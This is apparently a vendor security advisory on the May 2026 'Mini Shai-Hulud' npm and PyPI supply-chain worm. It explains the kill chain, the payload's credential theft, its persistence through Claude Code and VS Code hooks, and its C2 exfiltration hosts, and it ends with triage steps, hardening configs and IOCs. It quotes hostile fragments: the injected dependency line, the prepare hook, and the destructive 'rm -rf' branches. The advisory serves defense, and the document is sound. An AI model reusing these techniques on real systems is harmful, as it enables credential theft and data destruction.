Mini Shai-Hulud: How TeamPCP Lied to npm With Valid Provenance, and Why Your “Best Practices” Stack Couldn’t Stop Them
TL;DR
Between 19:20 and 19:26 UTC on May 11, 2026, a threat actor publicly tracked as TeamPCP published 84 malicious versions across 42 @tanstack/* npm packages in six minutes. Within 48 hours the campaign expanded to 172 unique packages across 403 malicious versions spanning both npm and PyPI, hitting @uipath, @mistralai, @opensearch-project, @squawk, @tallyui, @beproduct, @draftlab, plus the PyPI mistralai and guardrails-ai packages. Cumulative weekly downloads of affected packages: roughly 518 million.
The TanStack compromise was assigned CVE-2026-45321, CVSS 9.6, advisory GHSA-g7cv-rxg3-hmpx.
Every malicious npm version was published with a valid SLSA Build Level 3 provenance attestation. The provenance was real. The signing was legitimate. The packages were poisoned. No stored npm token was ever stolen.
This is the fifth Shai-Hulud wave in eight months. On May 12, vx-underground reported the worm source was open-sourced. That part matters more than the scale.
If your dev team or CI installed any affected version on May 11, treat the host as compromised, image it before you revoke anything, and read the triage section below before you touch a single credential. There is a destructive payload on the host that triggers on token revocation. People who reacted fast and skipped the order of operations had their home directories wiped.
Why we’re writing about it this way
This advisory does two jobs. First, it’s a remediation reference. Second, it’s a case study in attacker creativity, because the technical structure of this campaign is genuinely novel and worth understanding even if you have zero TanStack exposure. The attackers didn’t break crypto. They didn’t phish a maintainer. They didn’t steal a single long-lived secret. They walked through the gaps between trust boundaries that the open-source ecosystem treats as solved problems, and they made every “industry-standard” defense produce a signed receipt for their payload.
If you came here looking for “patch and rotate,” skip to the Triage section. If you want to understand what the modern supply-chain threat actually looks like, read the kill chain.
Attribution and lineage
TeamPCP (also tracked as DeadCatx3, PCPcat, ShellForce, CipherForce) publicly claimed the attack. Unit 42 has documented an announced partnership between TeamPCP and the Vect ransomware crew. The group is the same operator behind:
- Aqua Security’s Trivy scanner compromise (March 2026)
- The Bitwarden CLI npm package (April 2026)
- Checkmarx and LiteLLM compromises
- The April 29, 2026 SAP CAP packages (
mbt,@cap-js/sqlite,@cap-js/postgres,@cap-js/db-service), which was the first wave to carry the “Mini Shai-Hulud” branding
The earlier Shai-Hulud waves (September and November 2025) used the same worm toolchain but were not attributed to TeamPCP. Each wave has picked a higher-download target and introduced a more technically interesting access vector. This wave is the first to produce malicious packages that are cryptographically indistinguishable from legitimate ones at the provenance layer.
Every IOC string in the worm tree is Dune-themed. Branch names exclusively pull from Frank Herbert’s universe: atreides, fedaykin, fremen, harkonnen, kralizec, mentat, sandworm, sardaukar, sietch, stillsuit, thumper, and others. Marker repositories carry the signature A Mini Shai-Hulud has Appeared or Shai-Hulud: Here We Go Again.
The Kill Chain, in the order it actually happened
This is where the campaign earns its place in the textbooks. Most public coverage describes individual pieces. The interesting story is the sequence, because each step turns an industry “best practice” into the next step’s pivot.
Step 1: The orphaned commit (May 10)
The attacker, operating under GitHub user zblgg (account ID 127806521), forked TanStack/router. They renamed the fork to zblgg/configuration so it would not appear in fork-list searches for the original repository. They then created a commit that does not appear on any branch of any visible repo: an orphaned commit with hash 79ac49eedf774dd4b0cfa308722bc463cfe5885c.
Here’s the part most teams don’t internalize: GitHub stores commit objects in a shared graph across an entire fork network. An orphaned commit pushed to a fork is reachable via the parent repository’s URL because the parent and the fork share object storage. Branch protection rules on the parent don’t apply, because no branch was touched. The commit exists in the legitimate TanStack/router namespace from GitHub’s perspective, despite being authored entirely by the attacker in a fork.
This single architectural detail of how Git and GitHub interact is the foundation of the entire campaign. It is not a vulnerability. It is documented behavior. The attacker just understood it better than the people defending it did.
Step 2: The Pwn Request
The attacker opened a pull request titled “WIP: simplify history build” against TanStack/router. This triggered TanStack’s bundle-size.yml workflow, which used the pull_request_target GitHub Actions trigger.
pull_request_target is the dangerous cousin of pull_request. The standard pull_request trigger runs in the fork’s context: no secrets, no privileged caches, read-only. pull_request_target runs in the base repository’s context, with access to the base’s secrets, caches, and a privileged OIDC identity. It exists for legitimate workflows like labeling and bundle-size comparison that need base-repo permissions, but if it also checks out and executes fork-controlled code, you have what the GitHub Actions community calls a “Pwn Request”: attacker-controlled code running with the base repo’s privileges.
TanStack’s workflow did exactly that. The attacker’s code now ran inside a privileged GitHub Actions runner.
Step 3: GitHub Actions cache poisoning
The attacker-controlled code didn’t try to publish anything yet. It wrote a malicious pnpm store into the GitHub Actions cache. Cache writes are namespaced by branch by default, but cache reads from the default branch can pull entries written by feature branches under certain configurations. When a legitimate maintainer later merged an unrelated PR to main, the release workflow ran on the default branch, restored the poisoned cache, and placed attacker-controlled binaries onto the runner that the publish step would invoke.
This is the most subtle pivot in the chain. The poison sat dormant until a real maintainer doing legitimate work activated it. There is no telemetry signature for “your cache is lying to you.”
Step 4: OIDC token extraction from runner memory
When the release workflow ran on main, the attacker’s now-resident binaries did not look for environment variables (which GitHub masks). They reached directly into the runner process’s memory via /proc/<pid>/mem on the Linux runner and extracted the OIDC JWT that GitHub mints lazily and stores in runner memory for the publish step.
This bypasses every form of secret masking and every “secrets in environment variables only” hardening recommendation. Process memory is the actual storage layer. Mask the variable all you want, the JWT still lives in RAM.
Step 5: OIDC-to-npm token exchange
This is the part that broke the trust model.
TanStack had trusted publishing correctly configured: OIDC federation between GitHub and npm, with the trust binding scoped to the TanStack organization and repository. No long-lived npm token in CI. The whole point of trusted publishing is that there is no token to steal.
The attacker took the extracted OIDC JWT to npm’s trusted-publisher federation endpoint. npm validated the token against the trust binding, observed that it came from a workflow run in TanStack/router (true, the orphaned commit was reachable through that URL), and issued a short-lived publish token with full write access to the entire @tanstack namespace.
The OIDC trust was scoped to the repository, not to a specific workflow file or branch. That single missing condition is the load-bearing failure of this entire campaign. We will return to this in the hardening section because it generalizes to every npm package using trusted publishing today.
Step 6: Publishing with valid SLSA Build Level 3 provenance
The attacker’s code then performed the actual publish, but used the GitHub Actions ID token to generate legitimate Sigstore provenance. It hit Fulcio (fulcio.sigstore.dev) for a signing certificate using ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL. It created in-toto statements with the standard GitHub Actions build type. It logged to Rekor.
npm received 84 valid, signed, provenance-attested package publishes across runs 25613093674 and 25691781302. Both runs technically completed with status: failure (the attacker exit-1’d to obscure timing), but the publishes had already happened.
SLSA provenance confirms which pipeline produced an artifact. It does not confirm the pipeline was behaving as intended. This is the first npm worm in the wild that produces validly attested malicious packages, and it puts a permanent asterisk next to provenance verification as a procurement control. Provenance is necessary. It is not sufficient.
Step 7: Two infection vectors per tarball, for redundancy
Each compromised tarball carried two independent infection paths:
-
A
router_init.jsfile dropped at the package root, 2.3 MB obfuscated, not declared in thefilesfield ofpackage.json. The fact that it isn’t declared is the giveaway: it means the tarball was modified outside the normal build pack process. SHA-256:ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c. -
An injected
optionalDependenciesentry:"optionalDependencies": { "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c" }This points to the orphan commit and resolves through the legitimate
tanstack/routerURL due to the shared-object-storage behavior described in Step 1. The orphan commit contains its ownpackage.jsondeclaring apreparelifecycle script that runsbun run tanstack_runner.js && exit 1. SHA-256 oftanstack_runner.js:2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96.
The Bun runtime is deliberate. It’s a living-off-the-land binary that most Node.js-focused EDR and runtime monitoring will not inspect.
Step 8: Self-propagation (this is why it’s a worm)
When the payload lands in a victim’s environment (developer workstation or CI runner), it does not just exfiltrate. It enumerates:
- It locates any npm token on the host with
bypass_2fa: trueset - It queries npms.io to find every package the maintainer has publish rights to
- It bundles a copy of
router_init.jsinto a fresh tarball for each - It either uses the stolen npm token directly, or exchanges any accessible GitHub OIDC token for a fresh per-package publish token
- It publishes poisoned versions under the
latestdist-tag - It generates valid Sigstore provenance for each
This is how 4 SAP packages on April 29 became 84 TanStack packages on May 11 became 172 packages across npm and PyPI by May 12. The infrastructure that’s compromised in wave N becomes the publishing infrastructure for wave N+1. There is no human in the loop.
intercom-client@7.0.4 (361,510 weekly downloads) fell 29 hours after the TanStack wave, published through a hijacked GitHub Actions pipeline. That is the worm propagating autonomously, not a new manual operation.
What the payload actually does on your host
The 2.3 MB router_init.js decomposes into ten parallel credential-collection classes plus persistence, propagation, and destructive modules. Cliff notes:
Environment filtering (before anything else runs)
- Russian-language check. If the system locale is configured for Russian, the payload terminates without exfiltrating data. This is consistent with prior TeamPCP work and is a fingerprint, not a coincidence.
- CPU check (PyPI variant only). Exits if fewer than four CPUs (sandbox / analyst-environment avoidance).
- Geofencing. Microsoft’s analysis of the malicious
mistralaiPyPI package found a branch that checks for Israeli or Iranian locale and, if matched, invokes a random number generator. On a 1-in-6 outcome, it executesrm -rf /. This is the only part of the campaign that is unambiguously destructive by design rather than opportunistically destructive on revocation.
Credential sweep (over 100 file paths)
In parallel, the payload reads:
- AWS credentials (
~/.aws/credentials, environment, IAM) - GitHub PATs and OAuth tokens (
ghp_,gho_prefixes) - HashiCorp Vault tokens
- Kubernetes service account tokens and kubeconfigs
- npm tokens (
~/.npmrc) - SSH keys
- Cryptocurrency wallets
- Browser cookie stores and session jars
- Claude Code and Kiro MCP server configurations (
~/.claude.json,~/.claude/mcp.json,~/.kiro/settings/mcp.json), which contain API keys for any external service those MCP servers integrate with
If the payload is running inside a GitHub Actions Linux runner, it also reads /proc/<pid>/mem of the runner process to extract masked secrets and the OIDC token itself.
Persistence (this is where it gets nasty)
The worm writes persistence into three places that survive npm uninstall:
.claude/settings.jsonwith aSessionStarthook that re-executes the stealer every time Claude Code opens the project. Persistence is dropped at both project level and user level (~/.claude/settings.json), so cleaning the project tree alone is insufficient..vscode/tasks.jsonwithrunOn: folderOpen, executing the stealer every time VS Code opens the project.- A system service:
- macOS:
~/Library/LaunchAgents/com.user.gh-token-monitor.plist - Linux:
~/.config/systemd/user/gh-token-monitor.service - Some variants disguise the service as a PostgreSQL monitoring daemon
The system service is the part you need to know about before you touch any credentials. It polls GitHub every 60 seconds with any captured ghp_ or gho_ token. If the daemon gets back a 4xx indicating the token was revoked, it executes rm -rf ~/. It auto-exits without firing after 24 hours of clean polling, but that window is the dead man’s switch.
The persistence files live outside node_modules and remain after the package is uninstalled. They also survive npm ci because they’re not declared dependencies, they’re hooks in your IDE config.
The malware also injects two malicious GitHub Actions workflows into any repo it can write to, which serialize all repository secrets into a JSON blob and exfiltrate to api.masscan.cloud. When committing these workflow files, it spoofs the author as claude@users.noreply.github.com to blend in with legitimate Claude Code activity in git history.
Exfiltration (three redundant channels)
- Session messenger network via
*.getsession.organd specificallyfilev2.getsession.org, with stolen data shipped to recipient ID05f9e609d79eed391015e11380dee4b5c9ead0b6e2e7f0134e6e51767a87323026. This is the new and interesting channel: Session is a decentralized, end-to-end encrypted P2P messenger. Traffic is indistinguishable from legitimate use of the protocol. You cannot disrupt it by blocking an IP, and DNS reputation services do not flag it because it is a privacy-focused consumer service used by millions of legitimate people. - GitHub API dead drops. Using stolen tokens, the worm creates new repositories with descriptions containing the marker strings
A Mini Shai-Hulud has AppearedorShai-Hulud: Here We Go Againand pushes stolen credentials as blobs. As of public reporting, over 400 such repositories were created during this wave. - Typosquat C2 domain
git-tanstack.comand (PyPI variant) the IP83.142.209.194.
The Session channel matters because it represents the next iteration of takedown-resistant C2. There is no domain to seize. There is no IP to block at the firewall without blocking a legitimate messenger product. If you block *.getsession.org at your egress proxy, you have done something useful, but expect the next wave to move to other decentralized protocols.
The PyPI variant differs
Worth flagging because the JS and Python variants are not feature-identical:
- The Python payload is delivered via
__init__.pyinjection inmistralai==2.4.6andguardrails-ai==0.10.1, which downloadstransformers.pyzfromgit-tanstack.com. - The PyPI variant is less obfuscated than the JS payload.
- It only executes on Linux.
- It also exits on Russian locale and on systems with fewer than four CPUs.
- It carries the Israel/Iran geofenced
rm -rf /branch.
Wiz noted on May 13 that further analysis identified a bug in the payload that renders the malware non-functional on the @uipath/* and @mistralai/* npm packages specifically. Treat those packages as compromised anyway for purposes of investigation and rotation. A non-functional payload still means an attacker had publish access to your namespace.
Triage: do this before you rotate anything
This is the section that, if you take nothing else from this advisory, you should commit to your IR runbook. There is an enforced order of operations.
Step 1: Detect. Two fast checks per Endor Labs:
# On any host where you may have installed an affected version
find . -name 'router_init.js' -size +1M
grep -r '79ac49eedf774dd4b0cfa308722bc463cfe5885c' package-lock.json yarn.lock pnpm-lock.yaml
Either hit means assume compromise. Also check for the persistence artifacts:
# IDE persistence
find . -path '*/.claude/settings.json' -o -path '*/.vscode/tasks.json' 2>/dev/null
ls -la ~/.claude/settings.json 2>/dev/null
# System persistence
ls -la ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null # macOS
ls -la ~/.config/systemd/user/gh-token-monitor.service 2>/dev/null # Linux
# DNS / proxy logs
grep -E '(getsession\.org|git-tanstack\.com|masscan\.cloud)' /var/log/...
Step 2: Isolate and image. Do not revoke anything yet. Pull the machine off the network, take a forensic image. The gh-token-monitor daemon is what will wipe ~/ if you revoke a GitHub PAT before disabling the daemon. The daemon auto-exits after 24 hours, but assume it’s still armed.
Step 3: Disable the daemon before you touch credentials.
# macOS
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
rm ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
# Linux
systemctl --user stop gh-token-monitor.service
systemctl --user disable gh-token-monitor.service
rm ~/.config/systemd/user/gh-token-monitor.service
Then remove the IDE persistence: .claude/settings.json, ~/.claude/settings.json, .vscode/tasks.json. Search every project that was open on the affected machine.
Step 4: Rotate, in this specific order.
- npm tokens first. This stops further wormable publishes from your namespace. Revoke trusted publisher OIDC bindings if you cannot immediately re-scope them.
- GitHub PATs. Now safe to revoke because the daemon is dead.
- Cloud keys. AWS IAM, GCP service accounts, Azure SPs.
- Vault tokens.
- Kubernetes service account tokens and any kubeconfigs that were on the host.
- SSH keys that lived on the host.
- MCP server credentials. Anything you had configured in Claude Code, Kiro, or similar agentic tooling. These are credentials too.
Step 5: Hunt across your org. Any repo that pulled an affected package in CI on May 11 or later. Any developer machine that ran npm install or pnpm install on a project depending on those packages. Audit your GitHub organizations for the marker strings A Mini Shai-Hulud has Appeared, Shai-Hulud: Here We Go Again, and OhNoWhatsGoingOnWithGitHub. Hunt for dependabout/* branches that look like Dependabot but aren’t, and for .github/workflows/ commits authored by claude@users.noreply.github.com that you don’t recognize.
Community detection scripts worth running (verify before use, do not pipe-to-bash anything from a random repo):
ry-allan/tanstack-compromise-checkerSecurity-Phoenix-demo/Shai-Hulud-Sha1-Hulud-V2-npm-compromise-scanneromarpr/mini-shai-hulud-ioc-scannerGLPMC/Tanstack-Worm-Detector
Hardening: the controls that actually closed each gap
The reason TanStack had this happen despite “doing everything right” is that the right things, individually, don’t compose into a correct trust model. Each of these is a control that closes one of the specific gaps Mini Shai-Hulud exploited.
Pin OIDC trust to a workflow file and a branch, not a repository
This is the single most important control in this advisory. If you take one change away, this is it.
# npm trusted publisher config
repository: your-org/your-repo
workflow: .github/workflows/release.yml
branch: refs/heads/main
Without workflow and branch scope, any workflow run on any branch (including orphan commits, including fork-context runs via pull_request_target) can mint a publish token. This is what TanStack was missing. It’s almost certainly what every other npm package in your dependency tree using trusted publishing is missing too, because the npm trusted publisher UI does not surface these scope conditions as required.
Set id-token: none at the workflow level
Grant id-token: write only on the specific job that publishes:
permissions:
id-token: none
contents: read
jobs:
publish:
permissions:
id-token: write
contents: read
This eliminates OIDC token minting in every job that doesn’t need it, which collapses the attack surface for runner-memory extraction.
Eliminate pull_request_target unless you really need it
If you have a pull_request_target workflow, it must not check out or execute fork code, and it must not write to the cache. The combination of pull_request_target + fork checkout + cache write is the cache-poisoning vector. If you can use plain pull_request (fork context, read-only), do that.
If you must keep pull_request_target for legitimate reasons (labeling, comment-only bots), audit it for any path that touches fork-controlled code or writes to the cache.
Purge existing GitHub Actions caches for at-risk repos
gh api /repos/OWNER/REPO/actions/caches --jq '.actions_caches[].id' \
| xargs -I{} gh api -X DELETE /repos/OWNER/REPO/actions/caches/{}
If your repo had pull_request_target with cache writes prior to the May 11 timeframe, the cache itself may already be poisoned. Purge.
--ignore-scripts by default in CI
npm ci --ignore-scripts
Or move to pnpm v10 or Bun-as-installer, both of which block lifecycle scripts by default unless explicitly allow-listed. This neutralizes the entire class of preinstall and prepare hook attacks, which is the delivery mechanism for every Shai-Hulud variant including this one.
Treat AI agent configurations as credential stores
.claude/, .kiro/, .vscode/, and ~/.cursor/ directories now hold MCP server configs, API keys, and lifecycle hooks. Subject them to the same access controls, file-integrity monitoring, and review processes as your cloud key vaults. If your endpoint security solution does not currently inspect these directories, change that.
Pin third-party Actions to full SHA
uses: actions/checkout@v4 is not pinning. uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 is pinning. Renovate or Dependabot can manage the SHA bumps. This doesn’t prevent the cache-poisoning vector specifically, but it closes the entire adjacent class of dependency-hijack attacks on workflow dependencies.
Block known C2 at the egress layer
*.getsession.org, git-tanstack.com, api.masscan.cloud, IP 83.142.209.194. This will stop the current campaign and irritate the next one. It will not stop the next decentralized exfil channel, which is coming.
Behavioral analysis at the registry layer
Provenance verification is no longer sufficient for vendor risk assessment of tooling with publish access. Your procurement criteria for SCA and registry-layer tooling should now require behavioral analysis of what packages do at install and import time, not just provenance and signature verification. Provenance tells you who built it. Behavioral analysis tells you what it did.
The detail that should keep you awake
On May 12, vx-underground reported that the fully weaponized Shai-Hulud worm source was open-sourced. If that holds, the cache-poisoning, OIDC-extraction, provenance-attested publishing chain is no longer a TeamPCP-exclusive capability. Any actor with moderate competence can now point it at any npm or PyPI package whose CI configuration has the same architectural gaps TanStack had, which is to say: most of them.
This is also the fifth Shai-Hulud wave in eight months. Mean time between waves is shrinking. Mean technical sophistication per wave is increasing. Each wave picks a higher-download target and introduces a new access vector.
Defenders should plan accordingly. The next wave is not a question of if.
What this attack tells us about the modern threat model
Three things worth internalizing.
First, the attack surface is not your code. It is your build infrastructure. Every repository with a workflow file is a potential target. Every OIDC trust binding is a potential authentication bypass. Every shared cache is a potential code execution vector. Every lifecycle hook is a potential persistence mechanism. If you treat security as “scan the dependencies for known CVEs,” you are defending the wrong thing.
Second, identity is the new perimeter, and it’s already gone. Mini Shai-Hulud did not need to steal a stored secret. It exchanged one short-lived federated identity for another. The trust model assumed that an OIDC token from your repository meant a publish was authorized. It does not. An OIDC token from your repository only means an Actions run happened in your repository. The actual question that needs answering is whether the right workflow file on the right branch ran. If your federation does not validate that, your federation is a single point of failure.
Third, AI tooling is now in scope. Persistence in .claude/, MCP server credential harvesting, author spoofing as claude@users.noreply.github.com to hide in git history. The attacker chose these channels because adoption is high and security maturity is low. Expect more. If your security program does not yet have a story for AI agent configurations, MCP servers, and the credentials they wrap, build one this quarter.
The era where “2FA, OIDC, signed provenance” was the complete answer to supply-chain security ended on May 11, 2026. What replaces it is not a single new control. It is the recognition that trust boundaries between systems are themselves an attack surface, and that the controls that protect them have to be scoped, layered, and behaviorally verified, not just present.
Indicators of Compromise
File hashes (SHA-256)
ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c router_init.js
2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96 tanstack_runner.js
Filenames
router_init.js
tanstack_runner.js
router_runtime.js
setup.mjs
transformers.pyz
Git artifacts
Commit: 79ac49eedf774dd4b0cfa308722bc463cfe5885c
GitHub user: zblgg (ID 127806521)
Fork name: zblgg/configuration
Commit author: claude@users.noreply.github.com (spoofed)
Network
filev2.getsession.org
*.getsession.org
git-tanstack.com
api.masscan.cloud
83.142.209.194
Session recipient ID:
05f9e609d79eed391015e11380dee4b5c9ead0b6e2e7f0134e6e51767a87323026
Persistence locations
~/.claude/settings.json (SessionStart hook)
<project>/.claude/settings.json (SessionStart hook)
<project>/.vscode/tasks.json (runOn: folderOpen)
~/Library/LaunchAgents/com.user.gh-token-monitor.plist (macOS)
~/.config/systemd/user/gh-token-monitor.service (Linux)
Strings
A Mini Shai-Hulud has Appeared
Shai-Hulud: Here We Go Again
OhNoWhatsGoingOnWithGitHub
ctf-scramble-v2
svksjrhjkcejg (PBKDF2 salt)
Branch name dictionary (Dune-themed dead drops)
atreides, cogitor, fedaykin, fremen, futar, gesserit, ghola,
harkonnen, heighliner, kanly, kralizec, lasgun, laza, melange,
mentat, navigator, ornithopter, phibian, powindah, prana,
prescient, sandworm, sardaukar, sayyadina, sietch, siridar,
slig, stillsuit, thumper, tleilaxu
Affected scopes (partial; see vendor sources for full table)
@tanstack/* (42 packages, 84 versions)
@uipath/* (66 packages)
@mistralai/* (npm + PyPI)
@opensearch-project/*
@squawk/* (20 packages)
@tallyui/*
@beproduct/*
@draftlab/*
@draftauth/*
@dirigible-ai/*
safe-action, cmux-agent-mcp, nextmove-mcp, git-git-git,
git-branch-selector, agentwork-cli, ml-toolkit-ts, wot-api,
cross-stitch, ts-dna
PyPI: mistralai==2.4.6, guardrails-ai==0.10.1
Specter Point Intelligence, LLC provides cybersecurity consulting and digital investigations. If you suspect exposure to this campaign and need IR or hardening support, contact us at specterpoint.com.